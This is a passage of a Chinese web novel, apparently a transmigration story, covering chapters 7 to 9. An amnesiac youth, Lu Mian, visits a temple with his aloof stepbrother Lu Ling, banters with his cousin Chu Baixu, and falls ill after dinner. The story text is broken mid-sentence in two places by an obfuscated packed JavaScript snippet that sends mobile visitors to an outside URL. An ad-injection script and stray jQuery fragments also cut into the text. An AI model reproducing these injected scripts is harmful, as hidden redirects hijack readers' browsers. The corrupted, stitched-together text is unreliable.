陆凛眉目微敛,十分谦和的样子,“这是我应该做的。” 陆眠围观了全程,表情逐渐变得一言难尽。 故意的,绝对是故意的。 陆凛就是故意要在陶柔绚面前体现出对陆眠的照顾,从而获取对方的信任,让自己日子变得好过。 这么做也无可厚非。 看一眼刚才还盯着自己,现下却开始发起呆来的少年,陆凛垂眸。 此次的利用,便权当对方之前欠他的。 毕竟,对方失忆前做的那些事,足以让陆凛恨不能生啖其肉,至于在这之后…… “阿嚏——” 一道喷嚏声打断了陆凛的思绪,就看陆眠已经挪到了马车旁,眉头皱起,一只手反复揉着鼻子,不时还耸动两下。 有些傻气,陆凛正想着,只听略带怒气骂骂咧咧响起:“哪个混蛋在背后蛐蛐我!打死你打死你!” 陆凛:“……”虽然听不太懂,但总觉得不是什么好话。 “眠眠,在说什么?”陶柔绚走近了,“还不快扶小公子上马车。” 阿青、阿平正欲应声,陆凛上前道:“我来。” “好,你们兄弟二人坐在一起,也算有个照应。”陶柔绚笑了笑,往前方的那辆马车行去。 陆眠被陆凛拎了上去,动作间难免有些肢体接触,他古怪地看了看陆凛,怎么今天不嫌弃他了。 结果刚上车,陆凛就开始擦拭起了指尖,他掌心还缠着一圈白纱,为免在情绪不受控时指甲再次陷进去搅弄得血肉模糊。 不多时,一行人分坐两辆马车,往寒光寺而去。 陆眠和陆凛坐在一辆车,甫一进去,他就把自己团进角落埋好。 只要他表现得更嫌弃,就不会被嫌弃了! 陆凛睨他一眼,陆眠当即把脑袋一偏。 用后脑勺对着他。 陆凛眉梢扬了下,车厢里陷入寂静,他索性阖上眸子闭目养神起来,权当身边没有旁的人。 左右不过一个小傻子。 - 马车行了近两个时辰方才来到寒光寺所在的山脚下,今日来进香的香客不少,其中不乏一些京中的贵妇人,更有许多前来踏青者。 如今正值桃花盛开之际,小道上弥漫着淡淡的清香,裹挟着清风扑鼻而来,粉色花瓣尽情绽放,嫩黄花蕊尽皆开展,同后方绿茵交相辉映,游人无不放缓脚步或是干脆驻足观赏。 马车刚停下就从窗户探出脑袋的陆眠也被眼前的景象吸引,他很快就瞧见一株桃花树的枝头停留着一只色彩斑斓的蝴蝶,迅速就梭下马车,往那边奔了过去。 陆凛刚睁开眼,跟前就窜出去一道身影,似是安静一路终于坐不住了,逮着机会就要撒欢。 他也跟着走了下去。 前方,陶柔绚亦下了马车,眼睁睁看着儿子窜开,她喊了一声,“眠眠!” 正要过去,就听柳絮在身侧道:“夫人,是褚夫人。” 陶柔绚脚下步子微顿,瞥见陆凛朝陆眠走去后,这才转眼往柳絮指点的方向瞧去。 一名打扮华贵,举手投足间却带着几分凌厉气势的贵妇人朝这边走来,跟在她身后的一众侍从周身亦萦绕着淡淡的杀伐之气。 对方俨然也看到了她们一行,见陶柔绚望来,朝她点了点头。 “弟妹,哈哈,许久不见了!”褚夫人笑容明媚,张口便道。 陶柔绚一凝,柳絮忙道:“褚夫人,我家夫人现在是太常寺少卿的正妻。” 褚夫人似是才反应过来,“诶,是是,瞧我这记性。那陆夫人今日可是来进香的,正好我们同行。” 陶柔绚淡淡笑了下,“怕是不行,今日我带眠眠一道来的,他现下不知到哪去了,我还需在此等待。” 她这话已算是婉拒了,褚夫人却大喇喇摆手,“刚巧,柏栩那小子也来了,方才下车便跑没影了,稍后这兄弟两还能说说话。” 褚家百年底蕴,这一辈的褚家兄弟两一文一武。一个是当朝太傅,褚睿行,一个是征远将军,褚睿恩。 陶柔绚曾是太傅褚睿行之发妻,可惜后者英年早逝,离世前对方留下了一封和离书。陶柔绚一年后改嫁,成了太常寺少卿陆宏志的继室。 “如此……那便依褚夫人所言吧。”陶柔绚道。 褚夫人笑得愈发爽朗,“甚好!我也有好一阵子没见过眠眠了,那孩子嘴甜,会说话。” - 与此同时,嘴甜会说话的陆眠正在扑蝴蝶。原本他是扑不到的,因为蝴蝶停在枝头,他手头并无趁手的工具。 不过陆眠想到了个绝妙的好主意,摇晃树枝,蝴蝶受惊后从枝头飞落,扑棱着翅膀就飞走了。 见状,陆眠颠颠儿便追了上去,他光顾着留意蝴蝶的动向,一时没来得及注意脚下,一块略显尖锐的石头躺在地面,陆眠一脚踏了上去,脚往旁边一崴。 陆眠:OoO!!! 在他身后不远处,陆凛拧眉,快步上前准备捞人,总归不能让人在自己眼皮子底下受伤。 饶是如此,他二人还隔着一大段距离。 陆眠眼看就要与大地母亲来一个亲密接触,整个人蓦地往前扑倒。 “小心。”一道清朗的嗓音从跟前传来,紧接着,他的腰上落下一双大掌将他稳稳托住。 “谢谢谢谢谢谢!”陆眠赶忙抓住对方的袖子,同时开口道谢,抬起头便准备去看这位幸运的好心人。 他刚仰首看去,只闻一声,“褚眠!” 下一秒,腰上托着他的手猛地抽离,陆眠还没站稳,再次瞪大了眼睛。 失重的感觉再次席卷,陆眠倏然闭眼。接着,他的后衣领被拉了拉,继而落入一个萦绕着冷冽气息的怀抱,带着浅浅苦涩的药香。 熟悉的声线传入耳畔,“乱窜什么?” 陆眠:>vo! 他睁开了一只眼睛,仰头。 陆凛正拧着眉看他,手上微一用力,把人掰正后,他目视前方,嗓音一如既往的平淡,细听之下带了丝愠怒,“褚少将军。” 陆眠也循声往前望去。 跟前的青年容貌俊朗,剑眉入鬓,一袭靛青色的圆领袍,单侧衣领外翻,上有华丽繁复的暗绣,金丝银纹。腰间所配蹀躞带上环佩悬挂,行动间撞击发出清脆悦耳的声音。 ‘褚少将军’,陆眠在书里只见到过一人被这么称呼过——褚柏栩,征远将军之子,也是男主的好友。 陆眠后知后觉又想起什么,对方好像还是他现在这个身体的堂兄。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782391|145806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>褚柏栩在松开手后见人又要摔去就后悔了,但他已来不及伸手再把人拉回来,待看对方被人接住,心里的那点后悔顷刻便散了。 至于方才松手也不是因为别的,只是他认出陆眠,不喜对方而已。 褚柏栩从小便被身为武将的父亲教导着习武,但他志不在此。奈何母亲身子早年因随父亲出征伤了根本,只得了他一个,于是只好本本分分地学习武艺。 没人知道,褚柏栩心中对写诗作画更感兴趣。 然而,就是褚眠,曾将他精心所作的字画撕毁。对此,褚柏栩发了好大一通火,立即便把人抓了起来准备教训,结果所有人都护着褚眠。 褚柏栩大褚眠五岁,当时耳边充斥着‘孩子还小’,‘哥哥要让着弟弟’等语。偏偏褚眠丝毫没有做错事情的自觉,屡次在他面前提及他的诗作取乐。 褚柏栩恨极,却也无法,只得忍耐。自此就讨厌上了褚眠,立誓绝不与之有任何交集。 书里对此一笔略过,陆眠只知褚柏栩不喜欢原主这个堂弟,所以他悄悄挪到陆凛身后,暗中打量起对方。 褚柏栩认得陆凛,此人一举得到京中有名大儒季老先生的青睐,他亦有所耳闻。察觉到对方视线有些不善,遂也只略一点头算作招呼。 正在这时,他发现褚眠,现在应当称呼陆眠了,对方似乎在偷偷看他。 褚柏栩目不斜视,只当没看见。 陆眠继续盯:→v→。 陆凛与褚柏栩并无交集,旋身打算将人拎回去,接着便见陆眠正紧巴巴地盯着人看。 他想到了什么。 褚柏栩才是这个人真正的兄长。 而非是他。 陆凛眉峰微蹙,是与不是,这又与他何干。 忽略掉那莫名其妙的想法,陆凛抬步,“走了。” 陆眠:“嗷嗷。” 差点摔了两跤,他也不想再抓蝴蝶了——蝴蝶都跑了,于是溜溜哒哒跟在陆凛身后离开。 褚柏栩徒留在原地目视两人走远,视线往陆眠身上凝了凝。 这人还有这么乖的时候? 应该是错觉。 褚柏栩摆摆首,随意笑了下,跟着抬脚往前走去。不料他一路都跟在两人身后,始终可以看见陆眠坠在陆凛后面。 像条小尾巴。 他还看到,陆眠走着走着,偷偷伸出手去勾陆凛的衣摆。 陆凛转头看来,他就缩回去,待陆凛回首,陆眠便再次伸爪子。 “方才是有线头,现在呢?”陆凛声音冷淡。 陆眠低头抠手指,装没听见。 许是因为对方算是救了自己一回,他也没那么怕反派了。 陆凛第三次回过头,走出几步,后方不出意料传来轻轻的拉扯感。他顿了顿,没再管,任由陆眠捏着他的衣摆。 两个人拉拉扯扯往马车那边行。 褚柏栩还以为陆眠是故意的。 扯衣服啊,果然心思还同小时候一样恶毒,只想看别人出丑。 然而,事情的发展让他滞住,不禁怀疑起来。 难道是障眼法,还有后招? 这个人一肚子坏水,褚柏栩不信对方会这么安分。 走出一段距离,陆凛忽地道:“刚刚你差点摔倒。”不知是在说陆眠不慎被石块绊倒还是褚柏栩松手的事。 陆眠点头点头:“石头会伸腿绊人,可怕得很!” 陆凛唇一抿,不再开口。 “此石断不可留!”陆眠忽然气咻咻一松手。 陆凛转过身,就看陆眠掉头便要往回走,他抬手将人揪住,“干什么去?” 陆眠无端开始振奋,热血上头,大声应道:“报仇!”他要夺回属于他的一切! 回去就把那块石头踢飞,让它看看到底谁更厉害! 8. 抱抱抱 陆凛先是怔了下,而后才意识到陆眠报仇的对象是谁,无言再次袭上心头。 “石头不会伸腿绊人,”说罢,他改口,“石头没有腿。” 陆凛按揉眉心,“先回去。” 陆眠鼓起脸,犟着不动了,大有不报完仇就不走的架势。 两人僵持着站在原地。 后方,褚柏栩视线悠悠飘来。 看,吵架了吧,谁能忍得了陆眠那狗脾气。 褚柏栩看着看着,便见陆凛抬起手。 哦哟哟,要打起来了。 预想中的场面没有到来。 褚柏栩:? 这怎么和他想的不一样,褚柏栩瞠目结舌地望着那边一把将人扛起的陆凛。 陆眠猝不及防被扛了起来,肚子被硌住,没想到反派居然能把他整个扛起来。他憋气,要呼吸不过来了,刚打算打人。 陆凛却仿若先知一般,提前道:“动一下就把你丢下去。” 陆眠停滞几息,正欲动作,接着嘴巴便被捏住:o3o! 对方竟然预测到了他的动作! 现在单手扛着他! 十七八岁,正是自尊心旺盛的年纪。 愣怔不过几息,陆眠便挣扎起来。 “每次都喜欢咬人。”温热的吐息吹拂到被纱布包裹的掌心,还有一些从指缝钻过,陆凛顿了下,继续:“你是小狗?” 陆眠一听,更气了。 他要是狗,第一个就咬陆凛。 陆凛趁他再度挣扎起来前便将人紧紧箍住,力气大得惊人。陆眠这次毫无挣扎的余地,最后还是蹬了蹬腿,待双腿被圈住,彻底老实了。 - 快行至马车边上,陆眠才被放下,刚下地他就一跺脚,耳边倏地响起一道爽朗的女声,“眠眠!” 陆眠眼神茫然地歪脑袋,正与大步而来的褚夫人视线相对,“许久不见,都长这么大了,过来让伯母看看。” 随即不等陆眠回过神,褚夫人上前,抬手对着他发顶揉搓起来,末了又捏捏他的脸。因曾同夫君上过战场,褚夫人也是习过些武艺的,手上虽没用力,陆眠面颊却一下红了起来。 “嗯?”褚夫人忽地顿了顿。 陆眠瞬间警觉,他一句话都还没说呢,不会露馅吧,转念想到自己现在的人设,陆眠刚打算做点什么。 便听跟前人道:“今天怎么不躲了?” 褚夫人好笑地又搓搓陆眠双颊,似喟叹,“以往伯母一上手你可就溜出去了,从来不让我搓你脸的。”现下倒是过足了手瘾。 陆眠:—。— 原来是他反应没有原主快啊。 陆眠趁她不备,往下一蹲,褚夫人只捞出他的一绺发丝。陆眠一蹲一起,人顷刻挪到了她一步开外。 褚夫人:“?” 褚夫人略微伸手。 陆眠被捉住。 陆眠:0.0。 褚夫人忍俊不禁:“眠眠这是做什么?” 想躲没躲成的陆眠憋红了脸:可恶!她动作怎么这么快,导演!我要重开! “眠眠前些日子受了伤,”这时,陶柔绚走过来,眼里蕴着笑意,看见这些日子越来越活泼的儿子,补充完最后一句,“有些不记事了。” 褚夫人愣了愣,待明白过来后,落在陆眠身上的眼神便夹杂了几分怜爱,“原来如此,现在身体可好些了?” 陆眠不说话,决定小坏一下。 感到愧疚了吧!哼哼,谁让对方对着他又搓又揉的! 陶柔绚又多解释几句,褚夫人见她露出丝丝感伤的样子,道:“正好,稍后多供几柱香,佛祖会保佑眠眠的。” 夫君常年在外征战,这些年留在京中的褚夫人慢慢开始信起了佛。 陶柔绚刚打算接话,从旁忽然插入一句,“不信佛不传佛!” 闻听此言,所有人都望向了开口的陆眠,就连一早便站到一边去的陆凛亦缓缓侧目。就看陆眠满脸不信邪的表情,带着天下唯我独尊的气势。 “阿弥陀佛,”陶柔绚赶忙朝山顶上的寒光寺拜了拜,“童言无忌,还望佛祖见谅。” 陆眠不服气,佛祖厉害佛祖万能,佛祖怎么不把他送回去,于是开始一本正经地胡说八道:“佛祖不包邮,我全国包邮!” 陶柔绚低声打断:“眠眠!” 她有些着急,反而是褚夫人,听着陆眠满嘴胡言,唇角忍不住漾开浅笑。 说什么傻了,这不是挺有意思的吗。 陆眠和陶柔绚对了一眼,浓密的睫羽扇动两下,眸光飘忽,“真的包邮哦。” 陶柔绚动动嘴唇,她还未出声,一阵大笑声就从远处传了过来,“哈哈哈,哈哈哈。” 众人再次循声看去。 褚柏栩跟随在陆眠和陆凛身后来的,看见褚夫人出现还有点惊讶。因她自幼习武耳力不错,将褚夫人和陶柔绚的对话听入耳中,心中诧异陆眠竟失忆了。 还傻了。 正怀疑着,褚柏栩就听到陆眠开始和佛祖比较,一时没忍住。见所有人都朝他望过来,他凝滞片刻,对上陆眠盯来的目光后褚柏栩笑声戛然而止。 陆眠:→v→。 他盯着褚柏栩,半天没挪开眼。 褚柏栩被他看得心底发毛,曾经被对方当面念诵自己的诗稿带来的羞耻浮现再度心头。 到底是真傻还是假傻啊? 陆眠看着人不放,心里十分好奇。 书里可是说了,褚柏栩是会武功的,铜头铁臂善飞檐走壁,不知道能不能带他飞。 他想了想,对着褚柏栩说了一句,“收坐骑。” 褚柏栩:“???” 这傻小子在说什么? 其余人也是一头雾水。 陆眠还想再说,陆凛突然到了面前,他和人面面相觑,琢磨着他过来做什么。 滞了下,陆眠凝视陆凛,迟疑着道:“坐骑满了,收徒?” 一个徒弟,一个坐骑,不多不少刚刚好。 陆凛神情幽暗。 一声暴喝蓦地炸开。 “凭什么我是坐骑!”褚柏栩箭步上前。 陆眠‘哇’了声,眸子亮晶晶地越过陆凛看向后方的褚柏栩。 褚柏栩猛然反应过来,噤声了。 “我有坐骑了。”陆眠去看陆凛,抿着嘴笑,左颊浮起一个浅浅的酒窝,眼底如同缀了星星,高兴地同对方说道。 陆凛沉默,心间的情绪一下就散了,他点点头,“嗯。” 褚柏栩:“……”根本就没在听他说话是吧。 正感觉到心头堵塞,褚柏栩一扭头,准备去看褚夫人。 下一秒,‘哈哈哈’的声音倏地响起。 褚柏栩转眼便见褚夫人笑得前仰后合,“看,我就说兄弟两有话聊吧。” 陶柔绚见儿子眼神亮晶晶的,十分怀念,闻言点了点头,“嗯。” - 这还没上寺庙进香,陆眠就已经收入颇丰,美滋滋地跟着几人往寒光寺走去,只觉看什么都稀奇。 一行人走走停停,望着陆眠东瞧瞧西看看的背影,亦十分新鲜。 莫名其妙就成了别人坐骑的褚柏栩瞧着前面的那道身影,颇有些一言难尽。 即将抵达寒光寺时,褚柏栩趁其他人同上前接待的小沙弥说话,悄然抬步向蹲在庙前石灯笼旁的陆眠走去。 立在陶柔绚一侧的陆凛抬了抬眼。 褚柏栩走到了陆眠跟前,“喂。” 喊完,他有些别扭。 陆眠慢腾腾地仰起脑袋看向他,“第一,我不叫喂!” 褚柏栩:“……” 刚才的别扭一下就散了,褚柏栩摸了把脸,难得仔细地打量起陆眠来。 此前,陆眠在褚柏栩眼中就是个面目可憎,喜欢偷鸡摸狗的小人模样,从来不值得他正眼去瞧。 不承想这人一朝受伤失忆,倒是叫人看得顺眼了许多。 褚柏栩抱臂上下扫视着陆眠,眼睛慢慢眯起来,隐有威胁之意,“你方才说什么?” 不说之前的陆眠如何,现今这人都傻了,怎么还一副得意洋洋的样子。 陆眠完全没听出来,朝他招了招手。 褚柏栩皱起眉头,“什么意思?” 陆眠又一次招招手,一边揉脖子,意图十分明显。 褚柏栩懂了,陆眠还在招,示意他蹲下来。 一直仰着头看人,脖子难受。 褚柏栩拿他没辙,一脸不屑地蹲了下去。 陆眠只略微撩起眼帘,两人视线终于得以齐平,他一字一句重复:“收坐骑。” 褚柏栩瞪眼,“你说什么?” 他气急,“谁让你说这个!” 陆眠眨了眨眼。 不是他自己问的吗,不说这个说什么。 褚柏栩道:“你有什么本事?还想收我当坐骑。” 陆眠已读乱回:“你没本事。” 褚柏栩几度被他的回答弄得噎住,气笑了,“我没本事?” 陆眠点点头,肯定了他的话。 褚柏栩真的要被对方给气死了,他还没说话,陆眠便开始了:“不信我考考你。” “考我?”褚柏栩跟他聊上了,连片刻思忖都没有,直接道:“行,你说。” 自诩不论是武学方面还是文学方面都有些底子的褚柏栩心下嗤笑,一个小傻蛋,还想考他。 陆眠:“我刚刚走路,先迈的是左脚还是右脚?” 正等着引经据典、旁征博引来让对方长长见识的褚柏栩一顿,笑不出来了,“什么?” 陆眠傲然道:“我赌你不知道刚才你自己迈的是左脚还是右脚!” 褚柏栩凝了凝,陷入了沉思。 他刚才先迈的是左脚还是右脚? 陆眠嘿嘿笑。 褚柏栩继续思考,语气颇为不确定,“左脚?” 陆眠眯缝起眼,笑得像只小狐狸。 “等一等!”褚柏栩见他神色不对,急急道:“是右脚!” “右脚!对不对?”褚柏栩露出求知若渴的眼神。 陆眠摸了摸脑袋,很是纳闷,“你自己都不知道,你问我?” 谁知道他走路先出左脚还是右脚啊。 陆眠倒打一耙:“你好奇怪。” 褚柏栩一噎,褚柏栩感到窒息。 是真的傻了。 他傻了,跟一个小傻蛋在这里闲扯。 陆眠看到褚柏栩一副吞了苍蝇的表情,心底笑得打滚,两边酒窝都露了出来:*0v0*。 - 笑完了人,陆眠立马起身就跑。 他扫了眼院内,径直便朝某个方向冲了过去,躲到了陆凛身侧。 褚柏栩在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782392|145806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原地思索自己为什么要和陆眠探讨并接受了对方的提问,半晌才追上来,“好小子,过来!” 他指着见他走来就往陆凛身后缩的陆眠。 陆眠整个人都藏进陆凛后方,揪住人的衣摆,傻子才出去。 想法才刚冒出头,身前便忽然暴露出来,手指捏了个空,陆眠毫无遮挡地显露在褚柏栩面前,表情惊恐还带了点哀怨地看向走到一边去的陆凛。 坏了,成真傻子了。 褚柏栩冷笑两声,双手捏拳,“敢耍我是吧。” 说着他就要去抓人,陆眠正欲往后窜,眼前又晃过一道人影,熟悉的身影挡在他前方。 “陆公子,让开。”褚柏栩看着陆凛。 陆凛没说话。 陆眠瞬间扑到了陆凛身后,“略略略。” 陆凛一顿,转回头。 陆眠:OuO。 他‘略’声一凝,舌头收了回来,旋即眨巴两下眼睛,对着他笑。 少年唇红齿白,面如敷粉,因跑动,双颊上覆了一层薄汗,阳光映照下来仿若镀了一层金边,莹莹生辉。笑容很浅,酒窝并未出现。 陆凛挪开眼,未再看他。 褚柏栩没能抓到人,不禁磨了磨牙,瞧见陆眠笑得眉眼弯弯还朝他吐舌头,不知为何竟还有点想笑。 陆眠撞傻了好像也不是什么坏事。 至少没以前讨厌了。 正想着,耳畔钻进一句。 “坐骑!” 褚柏栩眼神刹那变得凌厉非常。 错了错了! 还是很讨厌的。 他撸起袖子就准备再次出手拿人,陆眠抓着陆凛,像是抓着自己的保命符,说什么都不肯放手。 中间隔了一个陆凛,褚柏栩逮不到人,很有些孤立无援。 同小沙弥问完话的褚夫人见此情景大笑出声:“弟妹,你看,孩子们在一起怎么都能玩到一块。” 看着三人闹作一团,陶柔绚也不纠正她的称呼了,露出个笑,“那我们过去吧。”就让他们留在这里,她二人进去参拜即可。 褚夫人颔首,将儿子带来本也不是让人陪着一起进香的。深知对方脾性,进去恐是坐不住,褚夫人亦不想带着人进去,以免怠慢了佛祖。 待两人进香出来,几人已不见踪影,留在原地的侍从走过来,告知三人去了寺庙禅院后的竹林。 两位夫人相视一眼,抬脚往竹林行去。 - 竹林中,陆眠趴在小道空地的一块大石头上摊饼饼。褚柏栩双手插在腰间蹀躞带上,笑得意气风发,“臭小子,知道错了吗?” 陆眠不看他,眼巴巴地盯着陆凛。 “不许帮忙!”褚柏栩就知道他要求救,连声道。 陆眠气呼呼的,“凭什么!” 不就是想让人给他当一回坐骑试试飞一般的感觉吗,为什么追着他不放。仗着陆凛在帮自己,陆眠对着褚柏栩就吼道:“我又没有急支糖浆!” “什么浆什么糖?”褚柏栩纳闷。 陆眠不理他,一只手攥着陆凛的袖摆,他还记得后者不喜肢体接触,刻意避开了陆凛指尖。 陆凛垂目撇了眼,思绪不知飘到了哪里。耳边是少年低低浅浅的嘟囔声,带着点抱怨,尾音温软,挠得人耳尖发痒。 手上的袖子被拉了拉,陆凛低眉,陆眠仰起脸看他,“累。” 陆眠想让陆凛帮他挡着褚柏栩,自己再瘫会。 也不知他们这一下跑了多远,陆眠现在走不了一点,整个人都软绵绵的。 褚柏栩:“累了就认输。” 陆眠不跟坐骑说话,他扭过脸。 被无视了,褚柏栩越看陆眠越觉有趣,以前怎么没发现他这个堂弟傻起来这么有意思,应当早点傻的。 陆眠丝毫不知道自己被鄙视了一番,他发现陆凛一直盯着自己看,半晌都没移开目光,陆眠抬手搓了搓脸。 确定了,没有长花。 陆眠:0.0。 那为什么看他。 陆凛目光深了深,在陆眠的注视下,俯下.身。 下一刻,陆眠就被抱了起来。 陆眠:OvO! 抱、抱抱抱他了! 想到书中陆凛的属性,陆眠下意识就想往身后捂。 “又乱动。” 陆眠抬眸,便看陆凛线条流畅,比他的人生规划还要清晰的下颌线映入他眼底,后者表情冷淡地低眸朝扫来,一瞬锋芒毕露。 陆眠不动了,脑子里在循环播放‘动一下就把你丢下去’的声音,于是乖乖地把自己缩起来,尽量避免大范围地碰到对方。 他现在老实了,就不许给他了哦。 陆眠警惕了几息,可能是因为运动量超标,亦或是现在的怀抱太过温暖,没过多久他就闭上了眼睛。 刚走出去一段的陆凛察觉到什么,一低眼。 陆眠:zzzZZZ 褚柏栩追上来,正要出声就被停下来的陆凛回首剜了一眼。 同一时间,他看清躺在陆凛怀里,睡得格外安稳的陆眠。 “这是猪吧。”褚柏栩用气声说了句,睡那么快的人,他还是头一次见。 话音刚落,就听一声:“闭嘴!” 陆眠在睡梦中似有所感,对着空气打了套拳,“这是拳,这是布!你家拳布都是猪!” 9. 莫辜负 陆凛嘴角掀了掀,去看褚柏栩。 褚柏栩眼睛都睁大了。 怎么睡觉还能骂人的? 反应了一瞬,褚柏栩哂道:“你不也是我家的?”说到底,陆眠也是褚家人。 陆眠继续:zzzZZZ。 他睡着了,什么也没听见。 三人一道往回走,正好碰上前来寻人的陶柔绚与褚夫人。 “睡着了?”陶柔绚嗓音低低的。 “嗯,”陆凛应了声,“累了。” 陶柔绚眉眼含笑,“回去吧。” 褚夫人看了她几眼,慢慢收回视线,同自家儿子招招手。 今日被招来招去数次的褚柏栩滞了滞,上前,站到了自家母亲身侧。 众人一道走向自己的马车,接着到了分别的时刻,褚夫人冲陶柔绚微微一笑,“弟妹,过几日老太君寿宴,带眠眠一道来府上玩啊。” 话音落,回到马车旁感到百无聊赖的褚柏栩倏尔抬眸,眼神闪烁了瞬,一抹灼亮在其间晕开。他转脸望去,陆凛已经抱着熟睡的陆眠上了马车。 褚柏栩讪讪收回目光,一转头对上了褚夫人的视线。 “看什么呢?” 褚柏栩故作自然,“什么?” 褚夫人抬了抬下巴,“当初可是有人说,最讨厌眠眠了。” 闻言,褚柏栩摸了下鼻子,“有吗?” 这话确实是他说的,但现在他却想收回了。 褚夫人哼笑一声,上车后方道:“我瞧着,那孩子现在的性子也不错,不过还得时时有人护着才行。” 褚柏栩欲言又止,有那么一瞬间想回一句‘我来’,但两人虽是堂兄弟,关系现在似乎还没到那份上。 褚夫人不知他所想,末了道:“看着倒比之前讨喜些。”见了今日的陆眠,那孩子以前的模样她如今倒是有些记不清了。 褚柏栩轻咳了咳,“是、是啊。” 确实顺眼许多。 - 另一边,陆眠打了个喷嚏,缓缓从睡梦中醒来。 “睡好了?” 一道声音响起,陆眠眼珠子一转,看到了坐在一旁的陆凛,他皱皱眉,“不好。” 陆眠搓了搓鼻子,随即撇嘴道:“梦里有人骂我。”还骂他是猪。 说罢,他雄赳赳气昂昂地仰起脑袋,一挥拳,“我一眼就看出那人已有取死之道!当时就把人揍趴了,哼哼哈嘿!” 陆凛看他。 陆眠一激灵:O.O。 他是不是表现得太聪明了。 垂目思索片刻,陆眠振奋道:“我是东海龙王,v我50,封你为东海龙王座下第一大弟子!”他还记得自己是收了陆凛为徒的。 陆凛听着他胡言乱语,“东海龙王也会被石头绊倒?”至于后面的话他只当没听见。 说那话的时候不觉得,可每当陆凛在他面前重新提起来,陆眠都觉得活着好难。他装作听不懂的样子,发出电子机械的嗓音,“对不起,听不懂你在说什么。再说一遍请扣1,不行就抠眼珠子。” 说完,他悄悄瞥一眼陆凛,见后者一脸无语似乎没有要回答他的意思,陆眠松了口气。 他在位置上独自神游了一会就坐不住了,来的时候就憋了一路,所以马车一停他就迫不及待溜下去捕蝴蝶了,虽然最后什么都没有捕到。 车厢中静得可怕,陆眠觉得陆凛以后要是不当首辅,还能出家去修闭口禅,这人好像不需要和人交流一样,他却忍不了。 陆眠挪到了窗户边,撑起了一点,外面碧草蓝天,鼻端可以清晰闻见泥土混合着青草的芬芳。他闭着眼晒了晒日光,深深嗅闻空气中的气息,须臾陆眠睁开眼,眸子闪了闪,“啊!鸽鸽!” 陆眠眼睛瞪得溜圆,“鸽鸽鸽鸽!” 车内,陆凛在他发出第一道声音时就看向他,陆眠亦转头想把发现分享给车内的另一个人。 “什么哥?” 陆眠把窗户撑开,指着外面天际滑翔的灰色乳鸽,“看!鸽鸽!是活的!”乳鸽也是哥。 陆凛掀起眼皮,顺着他手指的方向撇去,凝滞俄顷,他道:“不是活的,难道是死的?” “死的也不能飞那么高啊,”陆眠超级有条理地嘟嘟囔囔,“我没见过死的。” 在陆凛幽幽的凝望下,他补充:“不过我喝过乳鸽汤。” 陆凛视线在他身上停了几秒,阖目,路上没再跟陆眠说一句话。 陆眠也扭头继续看窗外,自得其乐。 “嘬嘬嘬——”陆眠做出捧碗的动作,开始逗鸟,唇角弯弯,酒窝露了出来。 可惜最后鸽子也没飞进他的‘汤锅’里。 晚膳倒是出乎意料的出现了一盅鸽子汤,陆眠美美地喝了两大碗,肚子圆滚滚地在窗户边的矮榻上躺了许久。 兴许是吃太多了,陆眠躺到后面,感觉肚子难受起来,一阵一阵地绞着疼。他咬着嘴巴,脸色渐渐苍白,额间不知不觉覆上一层冷汗。 陆凛读完一册书回来,便觉得今日的屋子静得出奇。 他现今同陆眠一起住在宇临阁,但两人相处的时间并不算多——白日里陆凛要去书院,晚间会回到自己之前住的小院读书。 因着后者的关系,陶柔绚对他的态度改变,连带着陆府中的下人们在面对他时也都纷纷变得恭敬。而那些曾经怠慢过,甚至欺辱过他的,全都惶惶不可终日,生怕陆凛想起来找他们报复回来。 陆凛自然不会对他们动手,至少现在不会。 他并非是那种会一笑泯恩仇的性子,只待时机成熟,届时有冤报冤,有仇报仇。 陆凛清楚知道自己的内心并不如何坦荡,甚至曾经无数次在脑海中构想过那些人的死状,无不凄惨,皆是由他亲手赐予。 只不过在他将脑中的阴暗想法付诸行动前,一切都发生了改变。 而这改变全都来自于一人。 陆眠…… 因为对方的失忆,陆凛的日子好过了许多。 可饶是如此,对方曾做下的那些事,陆凛亦从不敢忘。 母亲逝世后他在陆府的日子便一日不如一日,但自从陆眠来了后,真正的悲惨就此降临到了陆凛身上,几乎毫无尊严可言。 近来与对方的接触,让陆凛的心绪产生了些许变化,可也只是些许而已。 - 房间里没有点灯,两个小厮守在外面没有进来,约莫陆眠已经睡下了。 陆凛悄声走入房内,正打算借着稀薄的月光 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 往里间行去。结果刚踏出几步,耳旁便传入一声低低的,带着隐忍的低哼,软绵绵的,透着虚弱。 他脚步一顿。 “陆眠?” 陆眠肚子疼得不行,身上力气仿佛顷刻被抽干,没有人发现他的不对劲。刚才吃完饭陆眠便让阿青阿平下去了,没事不要打扰他摊饼饼,没想到就这么随口一提,却是给自己挖了个坑。 好不容易熬到门边响起动静,陆眠吭哧吭哧地哼了声,猜测应该是陆凛回来了。 果不其然,冷淡的嗓音徐徐钻入他耳中,陆眠快哭了,用尽最后的力气,咬牙:“终于等到你!” 陆凛没有去点灯,旋身行至墙边的博古架上,打开了一个盒子。刹那间耀眼到刺目的光芒映入眼帘,夜明珠发出的莹莹白光一瞬将房间照得雪亮,陆凛转过脸,看清了躺在矮榻上的人影。 